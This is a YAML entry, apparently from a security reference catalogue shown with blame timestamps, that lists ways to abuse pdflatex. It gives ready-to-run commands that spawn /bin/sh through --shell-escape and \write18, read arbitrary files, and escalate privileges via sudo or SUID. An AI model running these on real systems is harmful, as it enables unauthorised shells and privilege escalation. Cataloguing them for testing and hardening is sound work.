2021-04-26 16:06:18 +02:00
|
|
|
---
|
2021-04-22 22:13:51 +02:00
|
|
|
functions:
|
2021-04-26 16:06:18 +02:00
|
|
|
shell:
|
2021-04-22 22:13:51 +02:00
|
|
|
- code: |
|
2021-04-26 16:06:18 +02:00
|
|
|
pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
|
|
|
file-read:
|
|
|
|
- description: The read file will be part of the output.
|
|
|
|
code: |
|
|
|
|
pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
|
|
|
pdftotext article.pdf -
|
2021-04-22 22:13:51 +02:00
|
|
|
sudo:
|
2021-04-26 16:06:18 +02:00
|
|
|
- description: The read file will be part of the output.
|
|
|
|
code: |
|
|
|
|
sudo pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
|
|
|
pdftotext article.pdf -
|
|
|
|
- code: |
|
|
|
|
sudo pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
|
|
|
limited-suid:
|
2021-04-22 22:13:51 +02:00
|
|
|
- code: |
|
2021-04-26 16:06:18 +02:00
|
|
|
./pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
|
|
|
---
|